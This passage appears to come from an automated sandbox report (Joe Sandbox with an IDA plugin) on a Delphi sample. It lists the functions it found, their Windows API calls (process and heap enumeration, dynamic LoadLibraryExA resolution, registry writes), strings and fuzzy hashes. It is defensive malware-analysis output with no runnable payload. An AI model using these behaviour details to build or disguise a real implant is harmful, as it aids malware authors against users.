Part of subcall function 032F7438: RegisterWindowMessageA.USER32(00000000,00000000,?,?,00000000,032F75B0), ref: 032F74F3
Part of subcall function 032F7438: GetModuleHandleA.KERNEL32(USER32,00000000,00000000,?,?,00000000,032F75B0), ref: 032F7577
Part of subcall function 032F7438: GetProcAddress.KERNEL32(00000000,AnimateWindow), ref: 032F7588

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AtomCurrentGlobal$AddressHandleMessageModuleProcProcessRegisterThreadVersionWindow
String ID:
API String ID: 3557136124-0
Opcode ID: 4b7fc90706455d7068b1c0e6625215bcfa16aba2119fb19dd7b04e6d8f3375ef
Instruction ID: c4e9b6cace5cb4bd57a84bb39edca96b3a9f2ccc3b6c55b61617913ef5638bd4
Opcode Fuzzy Hash: 4b7fc90706455d7068b1c0e6625215bcfa16aba2119fb19dd7b04e6d8f3375ef
Instruction Fuzzy Hash: C1F04F7C2743448FD315FB29FC9691973A8E78AB147A5C175E9048B21CCAF4A851CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 03308AB4 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON

Download Yara Rule

APIs

Part of subcall function 03308838: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,03308ABF,?,?,03308B51,00000000,03308C2D), ref: 0330884C
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03308864
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03308876
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03308888
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0330889A
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 033088AC
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 033088BE
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32First), ref: 033088D0
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 033088E2
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 033088F4
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03308906
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03308918
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0330892A
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32First), ref: 0330893C
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0330894E
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03308960
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03308972

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03308AC5

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc$CreateHandleModuleSnapshotToolhelp32
String ID:
API String ID: 2242398760-0
Opcode ID: 4dd9df16f988af7f6bcd4fb96c6d6fc6a23b461963676af3cd96d0c69f8afb82
Instruction ID: b6bbc4c41950e7114d596107f01b378d7a4145cbff133b0c7c12682676f21b29
Opcode Fuzzy Hash: 4dd9df16f988af7f6bcd4fb96c6d6fc6a23b461963676af3cd96d0c69f8afb82
Instruction Fuzzy Hash: 70C08CA2602620278A10F6F82DD88D3878CCE491F370804B2B509EB141D3368C10D2A0

Uniqueness

Uniqueness Score: -1.00%

Function 032F7438 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 103
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(?,00000000,032F75B0), ref: 032F7459
GlobalAddAtomA.KERNEL32(00000000), ref: 032F748C
GetCurrentThreadId.KERNEL32 ref: 032F74A7
GlobalAddAtomA.KERNEL32(00000000), ref: 032F74DD
RegisterWindowMessageA.USER32(00000000,00000000,?,?,00000000,032F75B0), ref: 032F74F3

Part of subcall function 032C7B44: InitializeCriticalSection.KERNEL32(List,?,?,032F7509,00000000,00000000,?,?,00000000,032F75B0), ref: 032C7B63

Part of subcall function 032F7040: SetErrorMode.KERNEL32(00008000), ref: 032F7059
Part of subcall function 032F7040: GetModuleHandleA.KERNEL32(USER32,00000000,032F71A6,?,00008000), ref: 032F707D
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,WINNLSEnableIME), ref: 032F708A
Part of subcall function 032F7040: LoadLibraryA.KERNEL32(imm32.dll,00000000,032F71A6,?,00008000), ref: 032F70A6
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmGetContext), ref: 032F70C8
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmReleaseContext), ref: 032F70DD
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmGetConversionStatus), ref: 032F70F2
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmSetConversionStatus), ref: 032F7107
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmSetOpenStatus), ref: 032F711C
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmSetCompositionWindow), ref: 032F7131
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmSetCompositionFontA), ref: 032F7146
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmGetCompositionStringA), ref: 032F715B
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmIsIME), ref: 032F7170
Part of subcall function 032F7040: GetProcAddress.KERNEL32(00000000,ImmNotifyIME), ref: 032F7185
Part of subcall function 032F7040: SetErrorMode.KERNEL32(?,032F71AD,00008000), ref: 032F71A0

Part of subcall function 03301550: GetKeyboardLayout.USER32(00000000), ref: 03301595
Part of subcall function 03301550: GetDC.USER32(00000000), ref: 033015EA
Part of subcall function 03301550: GetDeviceCaps.GDI32(00000000,0000005A), ref: 033015F4
Part of subcall function 03301550: ReleaseDC.USER32(00000000,00000000), ref: 033015FF

Part of subcall function 03302758: LoadIconA.USER32(00000000,MAINICON), ref: 0330284F
Part of subcall function 03302758: GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,032F7548,00000000,00000000,?,?,00000000,032F75B0), ref: 03302881
Part of subcall function 03302758: OemToCharA.USER32(?,?), ref: 03302894
Part of subcall function 03302758: CharNextA.USER32(?,00000000,?,00000100,?,?,?,032F7548,00000000,00000000,?,?,00000000,032F75B0), ref: 033028D3
Part of subcall function 03302758: CharLowerA.USER32(00000000,?,00000000,?,00000100,?,?,?,032F7548,00000000,00000000,?,?,00000000,032F75B0), ref: 033028D9

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,?,?,00000000,032F75B0), ref: 032F7577
GetProcAddress.KERNEL32(00000000,AnimateWindow), ref: 032F7588

Strings

ControlOfs%.8X%.8X, xrefs: 032F74BB
Delphi%.8X, xrefs: 032F746A
AnimateWindow, xrefs: 032F7582
USER32, xrefs: 032F7572

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc$CharModule$AtomCurrentErrorGlobalHandleLoadMode$CapsCriticalDeviceFileIconInitializeKeyboardLayoutLibraryLowerMessageNameNextProcessRegisterReleaseSectionThreadWindow
String ID: AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$USER32
API String ID: 1515865724-1126952177
Opcode ID: 513b89420fc4ca83eb8cc00186448868bb139419cba49364ef61cb37102fb27a
Instruction ID: 00dba80b43e5c4304282899ec620e10ed870b7fb15663973b0b06b14b096108e
Opcode Fuzzy Hash: 513b89420fc4ca83eb8cc00186448868bb139419cba49364ef61cb37102fb27a
Instruction Fuzzy Hash: CD415DB8A203059FCB04FFB9E8C099EB7F8EB58340F418065E505EF355DBB1A9808B64

Uniqueness

Uniqueness Score: -1.00%

Function 03308CFC Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 03308D1C
GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 03308D33
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 03308D39
IsBadReadPtr.KERNEL32(?,00000004), ref: 03308DC7
IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 03308DD3
IsBadReadPtr.KERNEL32(?,00000014), ref: 03308DE7

Strings

LoadLibraryExA, xrefs: 03308D29
C:\Windows\System32\KernelBase.dll, xrefs: 03308D2E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Read$AddressHandleModuleProc
String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
API String ID: 1061262613-1650066521
Opcode ID: 7a9fe326c97c7c23a357c69b477b2fe67e0df107110a3b0f5da3d0443a2cc1db
Instruction ID: 5bdf1d916a32a088b11aa3d0d2ac85f17681305738d4329e83bd9b5af1fbe956
Opcode Fuzzy Hash: 7a9fe326c97c7c23a357c69b477b2fe67e0df107110a3b0f5da3d0443a2cc1db
Instruction Fuzzy Hash: 8B313A76600305BBDF60EB68CCD1F9AB7BCAF14364F044250EA24AF2C1D770A990CB60

Uniqueness

Uniqueness Score: -1.00%

Function 03302758 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00000000,MAINICON), ref: 0330284F
GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,032F7548,00000000,00000000,?,?,00000000,032F75B0), ref: 03302881
OemToCharA.USER32(?,?), ref: 03302894
CharNextA.USER32(?,00000000,?,00000100,?,?,?,032F7548,00000000,00000000,?,?,00000000,032F75B0), ref: 033028D3
CharLowerA.USER32(00000000,?,00000000,?,00000100,?,?,?,032F7548,00000000,00000000,?,?,00000000,032F75B0), ref: 033028D9

Part of subcall function 03302AAC: GetClassInfoA.USER32(032B0000,03302748,?), ref: 03302B0B
Part of subcall function 03302AAC: RegisterClassA.USER32(0331B650), ref: 03302B23
Part of subcall function 03302AAC: SetWindowLongA.USER32(0000000E,000000FC,10940000), ref: 03302BBF
Part of subcall function 03302AAC: SendMessageA.USER32(0000000E,00000080,00000001,00000000), ref: 03302BE1

Strings

MAINICON, xrefs: 03302842

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Char$Class$FileIconInfoLoadLongLowerMessageModuleNameNextRegisterSendWindow
String ID: MAINICON
API String ID: 2763768735-2283262055
Opcode ID: 6d7db63829809a045b8bb3113478d9baf62b4031d0db6ab87d74dcbcd91aa6d1
Instruction ID: 6d8f8312850415ed3a2e10825376aa8caf514b5e2f2e37e3a5cb153ed44c5ff9
Opcode Fuzzy Hash: 6d7db63829809a045b8bb3113478d9baf62b4031d0db6ab87d74dcbcd91aa6d1
Instruction Fuzzy Hash: EC514C74A143449FDB50EF28D8C4BCA7BF8AB15304F0845B9D848CF386D7B5D9888B61

Uniqueness

Uniqueness Score: -1.00%

Function 032B17C0 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,032B205D), ref: 032B186C
Sleep.KERNEL32(0000000A,00000000,?,032B205D), ref: 032B1882

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0a77473c031e2c4c3fbb08081e63adde6931e29b151f0e78f5e1d5716f7c0f2d
Instruction ID: dccc47fc3d6a54a4ee12ea9bb0d8937e4a72b3b8f254d87b4e8ab9ecfb43e5b1
Opcode Fuzzy Hash: 0a77473c031e2c4c3fbb08081e63adde6931e29b151f0e78f5e1d5716f7c0f2d
Instruction Fuzzy Hash: 8FB10272620B518BC725DF2CE4E43A5BBF4FB95390F1882AEE4558B388D774B4A1C790

Uniqueness

Uniqueness Score: -1.00%

Function 032B1B28 Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 032B1BB3
Sleep.KERNEL32(0000000A,00000000,?), ref: 032B1BCD

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 30e6be7bca18b11942095caca8450db97739f8f14743049e2b91e5cefbeeec19
Instruction ID: a297cc0219ba466bb58f90fee39f3352d4e625302029be89b477a30cd81f6d03
Opcode Fuzzy Hash: 30e6be7bca18b11942095caca8450db97739f8f14743049e2b91e5cefbeeec19
Instruction Fuzzy Hash: C951E1316203018FD725DF28D9E5796BBF8EF45390F2882AEE4448B286D7B4E4D4C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 032D7674 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00000008,00000060,00000048), ref: 032D769A

Part of subcall function 032D7630: GetDC.USER32(00000000), ref: 032D7639
Part of subcall function 032D7630: SelectObject.GDI32(00000000,058A00B4), ref: 032D764B
Part of subcall function 032D7630: GetTextMetricsA.GDI32(00000000), ref: 032D7656
Part of subcall function 032D7630: ReleaseDC.USER32(00000000,00000000), ref: 032D7667

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, xrefs: 032D76F0
MS Shell Dlg 2, xrefs: 032D7704
Tahoma, xrefs: 032D76BC

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MetricsObjectReleaseSelectText
String ID: MS Shell Dlg 2$SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes$Tahoma
API String ID: 2013942131-1011973972
Opcode ID: 0e1c638867564a2aaeefefa07f4948140eac6fe95844ed2563f18ea8f8bfe85a
Instruction ID: 2ae82f65014296b73a0c44a230e9072c63a0a7a442ead76d7481bd0fe39d96b5
Opcode Fuzzy Hash: 0e1c638867564a2aaeefefa07f4948140eac6fe95844ed2563f18ea8f8bfe85a
Instruction Fuzzy Hash: 1211A338620708AFDB10EFACD84095D7BB9EB09700F9188A5E8009BB64D7799D81CB55

Uniqueness

Uniqueness Score: -1.00%

Function 032CEA38 Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassInfoA.USER32(032B0000,032CEA28,?), ref: 032CEA59
UnregisterClassA.USER32(032CEA28,032B0000), ref: 032CEA82
RegisterClassA.USER32(0331AAF8), ref: 032CEA8C
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 032CEAD7

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 25653522eac89486967f0396ffd81156270adfff78a33eb3207f8559d2e795ea
Instruction ID: 210b8a98c92cc6c6dd877ced6ee0dd2ad7699c55e9f22dfc8dc813c4667524cb
Opcode Fuzzy Hash: 25653522eac89486967f0396ffd81156270adfff78a33eb3207f8559d2e795ea
Instruction Fuzzy Hash: E00169766202856FCB10FBACDCC0E9B77BDEB59341F258218B964DB2C5DA7199C087A0

Uniqueness

Uniqueness Score: -1.00%

Function 032D0320 Relevance: 4.6, APIs: 3, Instructions: 132registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00020019,?,00000000,032D04BA), ref: 032D038C
RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00020009,?,?,00000000,00000000,00000000,00020019,?,00000000,032D04BA), ref: 032D03F7
RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000000,00000000,00020009,?,?,00000000,00000000,00000000,00020019), ref: 032D045C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 9a2c1d94019d02742e49da400e7bdb3467dddb118a1cf7b1459d1007e0cd3e13
Instruction ID: 58c7bf2aeb0b45ffa9107a1c769b47defed26bc689488dc485ec68c02f19e90b
Opcode Fuzzy Hash: 9a2c1d94019d02742e49da400e7bdb3467dddb118a1cf7b1459d1007e0cd3e13
Instruction Fuzzy Hash: B441B038A20308BFDB11EBA4C981FDEB7F9EF44344F148069E854A7662C7B49F859740

Uniqueness

Uniqueness Score: -1.00%

Function 032C9CA0 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,032C9DE8,?,?,032C5B68,00000001), ref: 032C9CFC
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,032C9DE8,?,?,032C5B68,00000001), ref: 032C9D2A

Part of subcall function 032B8CE0: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,032C5B68,032C9D6A,00000000,032C9DE8,?,?,032C5B68), ref: 032B8D2E

Part of subcall function 032B8F1C: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,032C5B68,032C9D85,00000000,032C9DE8,?,?,032C5B68,00000001), ref: 032B8F3B

GetLastError.KERNEL32(00000000,032C9DE8,?,?,032C5B68,00000001), ref: 032C9D8F

Part of subcall function 032BB878: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,032BD5E5,00000000,032BD63F), ref: 032BB897

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: a5ba04a63b56f6527a2775bc69fca4f295824bedbb012ea17d9ab160e3d61dc6
Instruction ID: 9aa324c69c928bde30d562e2593eb24a45b9d68b00adce39066ada96bead7814
Opcode Fuzzy Hash: a5ba04a63b56f6527a2775bc69fca4f295824bedbb012ea17d9ab160e3d61dc6
Instruction Fuzzy Hash: BD318478A207499FDB00FFA5C880BDEB7F5AF09740F508169E504BB381D7B55984CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0330C850 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,03424BB0), ref: 0330C894
RegSetValueExA.ADVAPI32(00000884,00000000,00000000,00000001,00000000,0000001C,00000000,0330C8FF), ref: 0330C8CC
RegCloseKey.ADVAPI32(00000884,00000884,00000000,00000000,00000001,00000000,0000001C,00000000,0330C8FF), ref: 0330C8D7

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 7cc262b330ad7784a812d87603e05bc9a749505bc193c2fb73195cdbcac080ea
Instruction ID: f1a17031aff7bd88e9f328a9cdd9dac1ac10fd78604ed477fd5055c15da43677
Opcode Fuzzy Hash: 7cc262b330ad7784a812d87603e05bc9a749505bc193c2fb73195cdbcac080ea
Instruction Fuzzy Hash: EA111275610308AFDB10FBA6DDD1A9D7BFCEB04740F504061F904EF352D7709A818A54

Uniqueness

Uniqueness Score: -1.00%

Function 032BF6D0 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 032BF6DF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: b28c646f82ce2cd252d90ea0baface2e61be537eb1fdf2171e89f56c4c3785db
Instruction ID: 20ec674f9ad1c45274e0d5cd7f1a3e2518cd91444840188a60dc0c1ca64c90d6
Opcode Fuzzy Hash: b28c646f82ce2cd252d90ea0baface2e61be537eb1fdf2171e89f56c4c3785db
Instruction Fuzzy Hash: 68F08C69A3420067DA11FB289E845EA63BC9F017C0F6844E5E4469B216CBB48CCAA322

Uniqueness

Uniqueness Score: -1.00%

Function 032B5058 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0330C964), ref: 032B4F76
SysAllocStringLen.OLEAUT32(?,?), ref: 032B5063
SysFreeString.OLEAUT32(00000000), ref: 032B5075

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: df0ebbd49c3a427229fcfe081cf9a0000e2a8653e023cf59d4f9583f6407e03e
Instruction ID: 9ec803c6becae361ef0c2666f31fb5f7af9effbe700e996e7b093893ae379217
Opcode Fuzzy Hash: df0ebbd49c3a427229fcfe081cf9a0000e2a8653e023cf59d4f9583f6407e03e
Instruction Fuzzy Hash: 32E0ECBC1253025DEE14EA658850FB67379AF81780F588458A440CE265DB7894E19624

Uniqueness

Uniqueness Score: -1.00%

Function 032CF2A8 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 032CF5A6

Strings

H, xrefs: 032CF35D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: f56850bb360de61e271a80cf8fdeb856bdcd6d95897cd5bc5b927e26cb7bafd2
Instruction ID: d77a4a4f624422278a2d868301557ecdb3a95d08f92d441cd3ceb1eab9e2f06b
Opcode Fuzzy Hash: f56850bb360de61e271a80cf8fdeb856bdcd6d95897cd5bc5b927e26cb7bafd2
Instruction Fuzzy Hash: 3BB1F374A21649EFDB10CF98D580A9DBBF6FF89310F248269E905AB361D730AC85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 032D04D4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,MS Shell Dlg 2,?,MS Shell Dlg 2,?,032D053C), ref: 032D050A

Strings

MS Shell Dlg 2, xrefs: 032D04DB

Memory Dump Source

